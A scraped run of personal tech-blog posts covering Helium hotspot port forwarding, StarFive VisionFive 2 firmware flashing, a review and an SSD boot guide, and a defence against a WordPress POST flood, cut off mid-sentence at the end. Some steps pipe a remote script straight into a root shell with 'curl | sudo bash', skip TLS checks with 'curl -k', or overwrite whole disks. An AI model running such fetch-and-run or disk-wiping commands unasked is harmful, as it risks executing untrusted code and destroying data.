after a quick unplug and plug back in I’m syncing again and at 99.81%. This is the way folks, open that port and get out of relayed! Update 6/24/2021 Success! My hotspot has completely sync’d. I’ve issued and completed a challenge now and am just waiting to witness my first hotspot and even earned 0.05 HNT for some reason (maybe my issued or successfully completed challenge?): Helium Hotspot Fully Sync’d Hotspot First Earnings All in all it took about 5.5-6 days. This is because of so many new hotspots coming online so if you’re in a similar time range don’t panic unless you’re still at a really low % sync’d. Don’t give up, mine took forever but it’s finally working. Update 6/29/2021 I’ve investigated the effects of relayed vs. non relayed status. If you observe the connections with an enterprise firewall you can see how many connections it has at a time. When you are in relayed status you will only have about 4 connections. When your ports are opened you’ll have closer to 20-100 connections! All of these connections are transferring data so it definitely helps speed things up. The point has been running for a few days now and has already earned about 15 HNT! Hang in there, it’s worth it! Update 8/7/2021 If your miner and radio aren’t the same unit (not the case with newer miners) you should also port forward UDP port: 1680 I discovered that this was a listening public port when writing my guide on the new Bobcat 300 “Diagnoser” tool. I then was able to confirm this on the official Helium GitHub page. The document says that if your miner and radio are the same unit then port forwarding this from the internet is not important so the Bobcat 300 (and all other Helium miners that have a name) do not need this but I wanted to add it here for completeness. In other words, your Bobcat 300 (and the other newer “approved” models) and your radio are already the same device so they don’t need any ports opened or forwarded to talk to each other even though you can see it listening on the diagnostics. On older miners (back when you were able to make your own homebrew frankenminers and join the network without a special enrollment key) this wasn’t necessarily the case and then you would need to forward this port. A port forward should not be necessary for most people unless you know your radio is separate from your miner (it probably isn’t, and you can’t make these types of miners anymore). If you didn’t build your hotspot yourself, from parts, by hand, you do not have this. An external antenna does not apply, That is NOT a radio unit. It’s just an antenna and it can’t do anything by itself without a radio unit controlling it. A “radio unit” is the computer/device that the end of your antenna plugs into. It has to have a CPU to process signals from / send signals to the antenna. If your antenna plugs directly into your miner then your miner *IS* the radio unit for sure and this is almost certainly the case for you. It’s no longer possible to do this (only approved manufacturer hotspots can join the Helium network now, but you used to be able to homebrew) and hasn’t been for a long time because people used to make tons of hacked/spoofed hotspots (still a problem to this day but it used to be much, much worse). Was your hotspot manufactured by a company like Bobcat, RAK, Synchrobit, any of them? Then you didn’t build a homebrew hotspot from parts by hand so you don’t have one and this does not apply to you. There has never been one sold like this that has a name or brand. If you can tell me what your hotspot “is” and that actually means something you don’t have it! Hopefully this clears up some confusion for anyone else who is investigating this. The new Bobcat 300 diagnostic tool will undoubtedly make many other people wonder about this as well. The answer is that yes the Bobcat is listening on that port, but it’s talking to another chip that is also literally a part of the Bobcat. It’s like a computer talking to localhost or 127.0.0.1. It doesn’t matter what your internet connection’s firewall is doing in this situation. It’s only a “localhost” connection in a modern Helium miner’s case because it doesn’t need to make any external connections like old school homebrew setups may have had to at some point. You for sure do not have to worry about this now with any hotspot that has a “brand” or “name” and you didn’t build yourself! Other Resources For the best place to mine and exchange your altcoins such as Helium (HNT) to Bitcoin (BTC) check out my Best Altcoin Mining Pools and Exchanges article If you have a Bobcat check out my Bobcat 300 Diagnoser Tool guide to learn how to use this tool If you have a Nebra hotspot check out my getting root and SSH access to the Nebra guide #### StarFive VisionFive 2 Firmware / Bootloader Update Guide StarFive VisionFive 2 Firmware Update Guide If you’ve just received a new StarFive VisionFive 2 you may be having trouble to get it to boot with the latest images. This is because your firmware needs to be updated before using the latest version. In this guide we’ll cover how to update the firmware on the StarFive VisionFive 2. Let’s begin! Table of Contents Toggle Hardware UsedPrepare SD Card with Older ImageGetting Necessary FilesEasy Way vs. Hard WayUpdating Firmware – The Hard WaySetting up TFTP serverBooting into uboot consoleCompleting the UpdatesUpdating Firmware – The Easy WayConclusionOther Resources Hardware Used StarFive VisionFive 2 The StarFive VisionFive 2 is a quad-core high performance single board computer that runs the RISC-V open-hardware architecture. It also has a dedicated GPU making it suitable for desktop use! Links: Amazon.com*, AliExpress* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Prepare SD Card with Older Image At time of writing if you go to the official StarFive debian.starfivetech.com page you will see two versions: Image-55 Image-69 You want to download image 55 (the oldest one) because the firmware on your VisionFive 2 will not run version 69 yet. Download version 55 and extract the .bz2 file which will give you a .img file. Once you have the .img file write it to a SD card. Now boot the VisionFive 2 using the old image. It should boot correctly. Getting Necessary Files Log into the device with the default credentials of root / starfive. If you would like to do this over SSH then log into the device with user / starfive. You can then use the command “su” and the password starfive to use root. Now we need to install mtd-utils with: apt update && apt install mtd-utils -y Now head to the GitHub releases section for the VisionFive 2 firmware here. Download the latest versions of the following files: u-boot-spl.bin.normal.out visionfive2_fw_payload.img Easy Way vs. Hard Way There is an easy way to update the firmware on the VisionFive 2 but you can’t use it unless you are using version 2.5.0 or later. If you are using V1.2A of board or got the board reasonably close to when I wrote this you do not have this yet and need to use the hard way first. The hard way requires a Linux PC as you will need to set up a TFTP server for flashing. It also requires a USB to serial adapter as the boot loader cannot display on a monitor and we will be typing commands into the uboot prompt to flash it. The full documentation for both methods from StarFive is here. UPDATE 1/26/2023: LivingLinux has let me know on Twitter about an additional image available via the official StarFive GitHub repository that should be able to flash the VisionFive 2 without having to do it the “Hard Way” below. If you are struggling with the uboot-based network TFTP flash and want to try using this image the full instructions are available here. It’s essentially a barebones image that will let us update the firmware via SSH or the serial console. Updating Firmware – The Hard Way Setting up TFTP server First you need to quickly set up a TFTP server on a Linux PC/SBC to host the files we downloaded earlier: sudo apt install tftpd-hpa Now change directories to where you downloaded the files such as: cd ~/Downloads On my Linux install the tftp server defaults to using the directory /srv/tftp. You can check this with: systemctl status tftpd-hpa For example: systemctl status tftpd-hpa● tftpd-hpa.service - LSB: HPA's tftp serverLoaded: loaded (/etc/init.d/tftpd-hpa; generated)Active: active (running) since Tue 2023-01-24 14:28:20 MST; 2min 9s agoDocs: man:systemd-sysv-generator(8)Process: 627792 ExecStart=/etc/init.d/tftpd-hpa start (code=exited, status=0/SUCCESS)Tasks: 1 (limit: 38184)Memory: 840.0KCPU: 15msCGroup: /system.slice/tftpd-hpa.service└─627800 /usr/sbin/in.tftpd --listen --user tftp --address :69 --secure /srv/tftp You can see on the bottom it’s set up to serve on /srv/tftp. Move the files you downloaded to that folder (use root/sudo). Here’s an example of how I did it: james@pop-os:/srv$ cd tftp james@pop-os:/srv/tftp$ sudo curl -o u-boot-spl.bin.normal.out -k -L https://github.com/starfive-tech/VisionFive2/releases/download/VF2_v2.8.0/u-boot-spl.bin.normal.out james@pop-os:/srv/tftp$ sudo curl -o visionfive2_fw_payload.img -k -L https://github.com/starfive-tech/VisionFive2/releases/download/VF2_v2.8.0/visionfive2_fw_payload.img % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 james@pop-os:/srv/tftp$ ls uboot-spl.bin.normal.out visionfive2_fw_payload.img I strongly recommend using the latest versions though and not copy/pasting my exact command which will be release 2.8.0 at time of writing. The TFTP server is now set up! Booting into uboot console To use the uboot console we need to connect the USB to serial console. The wiring for that looks like this: StarFive VisionFive 2 GPIO Serial Debug Wiring Once you have everything connected power on the VisionFive 2. You should see a screen that allows you to interrupt the boot process by pressing a key. For what it’s worth I had to reverse the green and blue wires on my USB to serial adapter and then it worked perfectly. Mine didn’t work with the TX/RX indicated in the picture above but that is from the official documentation. If you are having trouble try switching the TX and RX (leave the GND where it is). Quickly press a key (it’s okay if you missed it, just try again) and it should take you to a prompt that just says “StarFive”. This is the uboot prompt. Completing the Updates First we need to set up some IP addresses. Substitute the IPs with the IPs for your server (the PC running the SFTP server) and VisionFive2. setenv ipaddr 192.168.120.222 setenv serverip 192.168.120.9 setenv gatewayip 192.168.1.1 sf probe Now we’re going to update the files with: tftpboot 0xa0000000 ${serverip}:u-boot-spl.bin.normal.out sf update 0xa0000000 0x0 $filesize tftpboot 0xa0000000 ${serverip}:visionfive2_fw_payload.img sf update 0xa0000000 0x100000 $filesize Before you reboot make sure none of the commands failed. None of them should have resulted in 0 bytes or any errors. If they did then you need to figure out what went wrong with the IPs / connections and make sure you get a successful flash before rebooting. My commands did not all work the first time. I had problems with my gatewayip (which I added to the article because it’s not included in the official quick start guide) and other issues. You want to watch and make sure that things completed and that things aren’t 0 bytes or giving some kind of error. If everything completed then you are all set and can reboot. Updating Firmware – The Easy Way The easy way is done on the VisionFive 2 itself. Change directories to where you downloaded the files such as: cd ~/Downloads We can now flash the updated SPL with: sudo flashcp -v u-boot-spl.bin.normal.out /dev/mtd0 sudo flashcp -v visionfive2_fw_payload.img /dev/mtd1 Before you reboot make sure none of the commands failed. None of them should have resulted in 0 bytes or any errors. If they did then you need to figure out what went wrong and make sure you get a successful flash before rebooting. You want to watch and make sure that things completed and that things aren’t 0 bytes or giving some kind of error. Conclusion Now that your firmware is up to date you should be able to boot all of the latest images! I tried my Debian build 69 after doing this process and it boots just fine now. I can also use the easy way in the future for updates going forward (and so can you)! Other Resources I’ve written a review for the StarFive VisionFive 2 available here I also have a SSD boot guide available for the StarFive VisionFive 2 here You can see all of my RISC-V articles here All of my single board computer reviews are available here #### StarFive VisionFive 2 High Performance RISC-V SBC Review I’ve reviewed several RISC-V boards on the site at this point including the Lichee RV and the Mango Pi MQ Quad. All of those boards only had a single core CPU though and aren’t suitable for high performance applications. Today I am going to review what SiFive describes as “the world’s first high-performance RISC-V single board computer (SBC) with an integrated GPU”. We’ll explore the capabilities and performance of the board and see if it lives up to these claims. We’ll also compare it to a Raspberry Pi as it has the same number of CPU cores as a Raspberry Pi. Let’s get started! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityApplying CoolingAvailable ImagesBenchmarking PerformancePros / ConsProsConsConclusionOther Resources Hardware Used StarFive VisionFive 2 The StarFive VisionFive 2 is a quad-core high performance single board computer that runs the RISC-V open-hardware architecture. It also has a dedicated GPU making it suitable for desktop use! Links: Amazon.com*, AliExpress* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Specifications These are directly from StarFive’s official site here: StarFive VisionFive 2 Specifications Build Quality Okay, the specifications look real nice, but how about the actual product quality? Let’s start with the packaging: StarFive VisionFive 2 Packaging Nice. That’s already better packaging than almost every SBC I’ve reviewed in the past several months. Inside the cardboard flap is a hard clear shell that will protect it during shipping. The board itself is shipped inside an anti-static bag as well which is not something I see a lot of manufacturers bother to do. We can also see “Embrace Change” and “Embrace the Future” on the box. Whether I will be willing to do that will depend on how the board performs on the benchmarks! Here is the top view: StarFive VisionFive 2 – Top View And the bottom view: StarFive VisionFive 2 – Bottom View Here on the bottom we can see the M.2 slot as well as the eMMC connectors (J9, J99). The board build quality is excellent as you can see in the pictures here. It feels like a really premium board and that they are proud of it and really care about the product. Applying Cooling Here’s what my recommended Geekworm copper heatsink seat looks like applied to the board: StarFive VisionFive 2 Firmware Update Guide Available Images The official StarFive Debian image is available here. NOTE: You need to update your firmware before you will be able to run the latest image. You can download the older image to get started without updating the firmware first. See my guide here on how to update the VisionFive 2’s firmware. The official image offering for the VisionFive 2 is pretty lackluster. There is an upside to this though which is that they have very successfully been working with multiple Linux distributions to have official support within their distro for the VisionFive 2. Ubuntu has not been updated to support VisionFive 2 yet but the VisionFive boards are officially supported by Ubuntu so I expect that to happen at any time. StarFive is working hard on getting their boards into the mainline Linux kernel as well which should continue to improve availability across various the most popular Linux distributions. Benchmarking Performance You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 181.92 MB/s HDParm Cached Disk Read 181.63 MB/s DD Disk Write 107 MB/s FIO 4k random read 44425 IOPS (177700 KB/s) FIO 4k random write 9006 IOPS (36024 KB/s) IOZone 4k read 64462 KB/s IOZone 4k write 43701 KB/s IOZone 4k random read 35419 KB/s IOZone 4k random write 75853 KB/s Score: 13,856 The full StarFive VisionFive 2 benchmark can be viewed here on Pi Benchmarks. This is actually a great performance score. It’s much higher than anything the Raspberry Pi 4 can do thanks to the PCIe interface (while the Raspberry Pi 4 has to use USB). It’s also below competing ARM boards such as the Orange Pi 5, ODROID M1 and the Raspberry Pi CM4 that have PCIe 2.0 interfaces. The latest generation of alternative ARM boards are faster than this board but they also have a lot more CPU cores. It’s pretty impressive performance considering this is RISC-V and not an ARM device. This is by far the highest score I’ve *ever* seen on any RISC-V device. It’s not even close. RISC-V is still a rapidly developing technology while ARM processors (while still having technological improvements) are unquestionably a much further developed technology. RISC-V is catching up very quickly though! Pros / Cons Pros Has a quad-core 1.5GHz RISC-V CPU 2x Gigabit Ethernet ports Has PCIe 2.0 M.2 M-key slot for NVMe drives MSRP of $65 Cons No built-in WiFi — optional module is available Requires USB to TTY serial adapter — boot loader does not support monitor/HDMI Conclusion It’s recommended to have a USB to serial adapter to work with this device. You will need one to update the firmware once you first receive the board. That is disappointing to me because it impacts who I would want to recommend the board to. If it had been easy enough to use I was going to start recommending it as a better alternative to the Raspberry Pi for running a SBC Minecraft server but I’m legitimately not comfortable doing that yet except for experts. I wish it came with firmware capable of running the latest images though. The firmware flash process is tough and I’ll be publishing an article on it. It doesn’t help that the easy way to do it won’t work with the firmware they shipped. That only works *after* you have to set up a local TFTP server and flash the device in uboot over the serial console. No, I’m not joking. You can see the SPL and firmware update process in the user guide here. There are only two methods (setting up a TFTP server or flashing from within Linux) and flashing within Linux won’t work until you’ve done the TFTP flash first. Ouch. I just do not get what these boards manufacturers are thinking trying to compete with the Raspberry Pi and yet are skipping the basics like including a built-in WiFi adapter or even things I can’t even believe I have to say such as the luxury of configuring your board with a monitor instead of having to attach a serial adapter to the GPIO pins. What year is it? I do this professionally and even I don’t want to deal with that. We were past that many, many years ago with the Pi (I thought for good) and you guys are *requiring* serial configuration and firmware flashing via TFTP out of the box to even run the official images? You can’t find a way to get a WiFi chip on the board? Shame on you. Maybe next generation? Your board is automatically disqualified as a Raspberry Pi-replacement contender if the boot loader won’t work with a monitor and requires serial configuration. That’s not to mention a mandatory TFTP firmware flash to run the latest images. That’s way too many steps back from the Pi and I can’t recommend this board for anyone but experts unfortunately. I know you will have a rough time if I tell you that it’s for beginners and you buy this board. I don’t want to do that to you. You should expect a board that is not ready to be an alternative to the Pi yet but shows a lot of promise (especially by the VisionFive 3 or VisionFive 4). If this is your first time jumping away from a Raspberry Pi you should absolutely try something like the Orange Pi 5 instead. There’s just a way better image selection / general support out there for that. It’s still very early for RISC-V but I’m very excited by the hardware developments and that the power is finally getting there. We just need the Linux distribution / image support to get there. That’s something that most users will need before adopting one of these boards! Despite my seemingly negative tone here in the conclusion I’ll be publishing a ton of supporting documentation / articles for this board. Yes, it’s not there yet for beginners. It’s probably not there yet for most users yet due to the limited image support. It probably needs one more generation before it’s ready for most users but I’m excited enough and see enough potential that I’ll definitely continue to write about the board and document as it improves / when it gains official Ubuntu support / other noteworthy events. Other Resources I have a SSD boot guide for the StarFive VisionFive 2 here Don’t miss my guide on how to update the StarFive VisionFive 2’s firmware here You can see all of my other articles on RISC-V devices here #### StarFive VisionFive 2 Official Debian SSD Boot Guide StarFive VisionFive 2 SSD Boot Guide The StarFive VisionFive 2 comes with a M.2 M-key PCIe 2.0 slot that we can use with a 2280 NVMe drive. Unfortunately at release it’s not possible to boot from the NVMe drive but this is expected to be added to the device through some combination of SPI+NVMe booting. In the meantime we are going to bootstrap the boot process using a SD card and then clone that SD card to our SSD to be used as the root partition. This essentially will let us have our system’s root partition on the SSD (much faster). Let’s get started! Table of Contents Toggle Hardware UsedPreparing SSDCloning Installation to SSDChange SD card’s rootfs UUIDFix extlinux.confRun fsckReboot and VerifyBenchmarking PerformanceOther Resources Hardware Used StarFive VisionFive 2 The StarFive VisionFive 2 is a quad-core high performance single board computer that runs the RISC-V open-hardware architecture. It also has a dedicated GPU making it suitable for desktop use! Links: Amazon.com*, AliExpress* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Preparing SSD First we are going to completely remove all partitions from the drive so it’s completely blank. Your drive should typically be /dev/nvme0n1: sudo gdisk /dev/nvme0n1 Now remove all partitions from the device. If you press “p” it will print out the partitions. You can then use “d” to delete them. Here’s an example on mine: root@starfive:/# sudo gdisk /dev/nvme0n1 sudo: unable to resolve host starfive: Temporary failure in name resolution GPT fdisk (gdisk) version 1.0.9 Partition table scan: MBR: MBR only BSD: not present APM: not present GPT: not present *************************************************************** Found invalid GPT and valid MBR; converting MBR to GPT format in memory. THIS OPERATION IS POTENTIALLY DESTRUCTIVE! Exit by typing 'q' if you don't want to convert your MBR partitions to GPT format! *************************************************************** Command (? for help): p Disk /dev/nvme0n1: 1953525168 sectors, 931.5 GiB Model: Samsung SSD 960 EVO 1TB Sector size (logical/physical): 512/512 bytes Disk identifier (GUID): 8ACF6B0D-D7EC-48A0-955B-93AD7C6B53FE Partition table holds up to 128 entries Main partition table begins at sector 2 and ends at sector 33 First usable sector is 34, last usable sector is 1953525134 Partitions will be aligned on 2048-sector boundaries Total free space is 1922993516 sectors (917.0 GiB) Number Start (sector) End (sector) Size Code Name 1 2048 264191 128.0 MiB 0700 Microsoft basic data 2 264192 30533632 14.4 GiB 8300 Linux filesystem Command (? for help): d Partition number (1-2): 1 Command (? for help): d Using 2 Command (? for help): w Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING PARTITIONS!! Do you want to proceed? (Y/N): y OK; writing new GUID partition table (GPT) to /dev/nvme0n1. The operation has completed successfully. Keep pressing d until all the partitions are deleted. Once they are gone use the ‘w’ command to write your changes. Cloning Installation to SSD We’re now ready to clone your installation to the SSD. We can now copy your drive to the SSD with the following command: cat /dev/mmcblk1 > /dev/nvme0n1 Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). Remember that you are copying an entire drive from one to another basically with that one command. Mine took about 30-45 minutes (although I was using a 64GB SD card and the larger SD card you use the longer it will take to copy the whole drive). If you are having any trouble with permissions try becoming “root” first with: su Now try running the command again and as the superuser you should not encounter any permission errors. Change SD card’s rootfs UUID We need to change our SD card’s UUID so that it doesn’t try to boot from that partition. We can set it to a random one with the following command: sudo tune2fs -U random /dev/mmcblk1p3 If you get an error with the previous command regarding csums try the following command instead: sudo tune2fs -O metadata_csum_seed -U random /dev/mmcblk1p3 We can verify that it has changed with blkid like this: root@starfive:/boot# sudo blkid sudo: unable to resolve host starfive: Temporary failure in name resolution /dev/nvme0n1p3: LABEL="root" UUID="8260c14e-8ec8-406a-ae74-4ae0465376cf" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="3d4c02eb-9c28-46a1-a86b-71666ef51cdb" /dev/nvme0n1p2: SEC_TYPE="msdos" UUID="49C6-F38E" BLOCK_SIZE="512" TYPE="vfat" PARTUUID="bdc51e7d-66f3-4ba4-ac93-adf2e8850928" /dev/mmcblk1p3: LABEL="root" UUID="2e441104-607f-4f13-ada2-09d2ef0e03fd" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="3d4c02eb-9c28-46a1-a86b-71666ef51cdb" /dev/mmcblk1p2: SEC_TYPE="msdos" UUID="49C6-F38E" BLOCK_SIZE="512" TYPE="vfat" PARTUUID="bdc51e7d-66f3-4ba4-ac93-adf2e8850928" /dev/nvme0n1p1: PARTUUID="5f7fd372-5546-44df-b018-a077758cee2f" /dev/mmcblk1p1: PARTUUID="5f7fd372-5546-44df-b018-a077758cee2f" Notice that /dev/nvme0n1p3 and /dev/mmcblk1p3 no longer have matching UUIDs. This is exactly what we want. Fix extlinux.conf Use this one-liner to update /boot/extlinux/extlinux.conf: sudo sed -i 's/mmcblk1p3/nvme0n1p3/g' /boot/extlinux/extlinux.conf EDIT 4/1/2023: Some builds use the path /boot/boot: sudo sed -i 's/mmcblk1p3/nvme0n1p3/g' /boot/boot/extlinux/extlinux.conf Run fsck Before we reboot run fsck on the drive like this: sudo fsck -yf /dev/nvme0n1p3 This will prevent you from having to run fsck on the CLI the first time you try to boot. Reboot and Verify Now reboot the VisionFive 2 with: sudo reboot With any luck you should be booted using your SSD! We can verify this with the mount command like this: root@starfive:/home/user# sudo mount /dev/nvme0n1p3 on / type ext4 (rw,relatime) Here we can see that our root partition (/) is indeed on /dev/nvme0n1p3 and not /dev/mmcblk0p3. Success! Benchmarking Performance You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 181.92 MB/s HDParm Cached Disk Read 181.63 MB/s DD Disk Write 107 MB/s FIO 4k random read 44425 IOPS (177700 KB/s) FIO 4k random write 9006 IOPS (36024 KB/s) IOZone 4k read 64462 KB/s IOZone 4k write 43701 KB/s IOZone 4k random read 35419 KB/s IOZone 4k random write 75853 KB/s Score: 13,856 The full StarFive VisionFive 2 benchmark can be viewed here on Pi Benchmarks. This is actually a great performance score. It’s much higher than anything the Raspberry Pi 4 can do thanks to the PCIe interface (while the Raspberry Pi 4 has to use USB). It’s also below competing ARM boards such as the Orange Pi 5, ODROID M1 and the Raspberry Pi CM4 that have PCIe 2.0 interfaces. The latest generation of alternative ARM boards are faster than this board but they also have a lot more CPU cores. It’s pretty impressive performance considering this is RISC-V and not an ARM device. This is by far the highest score I’ve *ever* seen on any RISC-V device. It’s not even close. RISC-V is still a rapidly developing technology while ARM processors (while still having technological improvements) are unquestionably a much further developed technology. RISC-V is catching up very quickly though! Other Resources I’ve written a review for the StarFive VisionFive 2 available here Don’t miss my guide on how to update the StarFive VisionFive 2’s firmware here You can see all of my RISC-V articles here All of my single board computer reviews are available here #### Stopping a WordPress POST Spam Attack with .htaccess Blocking WordPress Spam Attack with .htaccess This morning I woke up to a noticeably slow blog. Pages that normally loaded instantly were dragging, and something clearly wasn’t right. What I discovered was a high-volume POST request flood that nearly brought my AWS Lightsail server to its knees. I was able to stop this attack with a simple Apache rule and I wanted to share how in this article! Table of Contents Toggle Quick AnswerHow can I stop a WordPress POST flood attack?Will adding .htaccess rules break my WordPress site?How do I know if my site is under a POST flood attack?Why Was My WordPress Site Suddenly So Slow?What Was Causing High Server Load on AWS Lightsail?How Did I Detect the POST Request Flood Attack?Why Not Just Block the IP Addresses?Why Didn’t I Use a Web Application Firewall (WAF)?How Did I Stop the WordPress POST Flood With .htaccess?What does this rule do?Update 5/4/2026: Using functions.php InsteadDid This Actually Fix the Performance Issue?Why Is This Approach Effective Against POST Flood Attacks?Should You Let Attack Traffic Continue After Blocking It?When Should You Upgrade to a WAF Instead of Using .htaccess Rules?What Did This Incident Ultimately Teach Me?Final Thoughts Quick Answer How can I stop a WordPress POST flood attack?You can add code to your theme’s functions.php file that will reject POST requests on your posts. You can also block malicious POST requests by adding specific RewriteCond and RewriteRule directives to your .htaccess file. These rules can return 403 Forbidden or 204 No Content responses to stop the flood from hitting your PHP processor.Will adding .htaccess rules break my WordPress site?Saving posts stops working for admins while the rule is in effect. To prevent them permanently you should modify your functions.php file.The .htaccess rule will work in a pinch / temporarily to stop the attack. Always backup your .htaccess before editing, and test with your own user-agent to ensure legitimate traffic isn’t blocked.How do I know if my site is under a POST flood attack?Check your server load metrics and Apache/Nginx access logs. A sudden spike in 5xx errors, high CPU usage from php-fpm, and repeated POST requests to index.php or wp-login.php from known bad IPs are strong indicators. Why Was My WordPress Site Suddenly So Slow? The first symptom was obvious: everything felt delayed. This was the first indication something wasn’t right. After logging into the server, I immediately checked performance metrics and saw something alarming. Redis object cache response times were exceeding 1000ms: POST Spam Attack – Redis Before Fix For context, that’s extremely slow for a caching layer that should operate in milliseconds. Over 1 full second response time from Redis for a WordPress blog? Absolutely unbelievable. Even after restarting core services like Apache and PHP-FPM, nothing improved. That told me the issue wasn’t a simple stuck process. What Was Causing High Server Load on AWS Lightsail? Next, I checked my AWS Lightsail instance dashboard and noticed something important: I had completely burned through my burst capacity overnight: WordPress POST Attack – Lightsail Metrics That explained the performance degradation but not the cause. I ran the top command on my server to try and see what was going on: POST Spam Attack – Top Command Wow. Either my blog absolutely exploded in popularity or something is very wrong. The question remained: what was driving sustained CPU and request load all night long? How Did I Detect the POST Request Flood Attack? To find the source, I tailed the Apache access logs: tail -f /var/log/apache2/access.log What I saw was immediately suspicious: WordPress POST Spam – Apache Logs A constant stream of POST requests (dozens per second show in the screenshot above) targeting WordPress endpoints and even random post URLs. This wasn’t normal traffic or bots indexing content. It was a deliberate request flood. Even worse, it was affecting network stability. I was seeing ping jitter, which indicated the server itself was under significant strain: POST Spam Ping Jitter Why Not Just Block the IP Addresses? At first glance, blocking IPs seems like the obvious solution. But there was a problem. The requests were coming through AWS infrastructure on the frontend. I’m using a content delivery network (CDN) distribution so the IPs in the log are actually Amazon. Because the origin server was behind a CDN blocking those IPs would effectively block legitimate traffic as well. So IP blocking was off the table. Why Didn’t I Use a Web Application Firewall (WAF)? The proper long-term solution would normally be a WAF, such as: AWS WAF via CloudFront Cloudflare protection in front of origin servers However, in this case I was using AWS Lightsail distributions, which don’t integrate cleanly with AWS WAF without migrating to a full CloudFront architecture. That would work but it adds complexity I didn’t want to introduce during an active incident. So I opted for a simpler immediate mitigation. How Did I Stop the WordPress POST Flood With .htaccess? The attack pattern was simple: abusive POST requests hitting non-essential endpoints. That meant I could block them at the Apache level using .htaccess. I added the following rules above the WordPress block: # Allow legitimate WordPress POST targets RewriteCond %{REQUEST_URI} !^/wp-login\.php$ [NC] RewriteCond %{REQUEST_URI} !^/wp-admin/ [NC] RewriteCond %{REQUEST_URI} !^/wp-comments-post\.php$ [NC] RewriteCond %{REQUEST_URI} !^/wp-json/ [NC] RewriteCond %{REQUEST_URI} !^/wp-cron\.php$ [NC] RewriteCond %{REQUEST_URI} !^/xmlrpc\.php$ [NC] RewriteCond %{REQUEST_METHOD} POST RewriteRule ^ - [F,L] What does this rule do? It blocks all POST requests unless they are explicitly needed for WordPress functionality such as: Login (wp-login.php) Admin dashboard (wp-admin/) Comments (wp-comments-post.php) REST API (wp-json/) Update 5/4/2026: This endpoint does not respect the htaccess rule and will stop you from being able to save new posts. Use functions.php approach instead (outlined in the next section) Cron jobs (wp-cron.php) XML-RPC (xmlrpc.php) Everything else gets an immediate 403 Forbidden response. Update 5/4/2026: Using functions.php Instead I found that the wp-json rule was being ignored with WordPress using this approach. Instead I added this to my theme’s functions.php file: add_action('parse_request', function ($wp) { if (is_admin()) return; if ($_SERVER['REQUEST_METHOD'] !== 'POST') return; // If WordPress resolved a main query object if (!empty($wp->query_vars['p']) || !empty($wp->query_vars['page_id']) || !empty($wp->query_vars['name'])) { status_header(405); nocache_headers(); exit('POST not allowed on article URLs'); } }); This prevents WordPress from rewriting certain URLs before it ever hits our .htaccess rule instead. I strongly recommend using functions.php instead. Did This Actually Fix the Performance Issue? Yes. Instantly. Once the rule was deployed: Server load dropped immediately Redis cache latency returned to normal Ping stability recovered Apache access logs normalized Burst capacity stopped draining The difference was immediate and measurable. Here’s a look at Redis after the attack: POST Spam – Cache After Fix You can see that once I put in the POST blocking rule my latency dropped down to essentially zero again. My ping times also recovered back to normal without any jitter: POST Spam – Ping Jitter Fixed Why Is This Approach Effective Against POST Flood Attacks? This type of attack relies on volume, not sophistication. By rejecting unwanted POST traffic at the web server level: You eliminate backend processing cost You protect PHP and database layers You preserve caching performance You reduce CPU exhaustion from request handling Even though attackers continued sending requests, they were now being rejected cheaply with 403 responses. Should You Let Attack Traffic Continue After Blocking It? In this case, I chose not to actively escalate further blocking once the performance issue was resolved. The reasoning: The server can cheaply return 403 responses It avoids complex over-engineering during mitigation It may indirectly expose the attackers However, in higher-risk environments, a full WAF or CDN-based filtering layer would be the proper long-term solution. This is my personal blog so I have the luxury of trying to expose the hackers without getting in any kind of trouble. In this case they noticed I had stopped their attack though before I even published the article. I was hoping they wouldn’t notice and their ISP (or whoever owns the presumably compromised machine used for this attack) would feel the impact and start investigating. When Should You Upgrade to a WAF Instead of Using .htaccess Rules? This quick fix is effective, but not universal. You should consider a WAF if: Attacks become distributed and adaptive You need geographic/IP reputation filtering You require rate limiting per client You operate at high traffic scale You want centralized security rules across multiple services For AWS users, this typically means migrating to CloudFront + AWS WAF or using a reverse proxy like Cloudflare. What Did This Incident Ultimately Teach Me? This attack wasn’t sophisticated but it was effective enough to degrade performance significantly. The key takeaway is that: Simple request filtering at the edge of your application can be enough to neutralize real-world attacks (at least long enough to stabilize your system and plan a deeper defense strategy). Final Thoughts By morning’s end, the logs went quiet and the system stabilized. The attack had effectively been neutralized with a few lines in .htaccess, without needing a full infrastructure redesign. Sometimes the simplest fix is enough to keep a system standing (at least until the next challenge arrives). The Legendary Technology Blog has been here for a long time and still will be for a lot longer. If I continue to get attacked I will probably start using CloudFlare but for now this was all it took to end the clown show! #### Telecom Monopoly CenturyLink’s Static IP / Modem / UPS Scam Outlined I’m really sorry to say that I was excited when I found out CenturyLink offered gigabit 1000 up 1000 down fiber to the home in the neighborhood I just moved into. Dreams of things like having enough upload speed to leave the cloud and operate jamesachambers.com independently in my own home 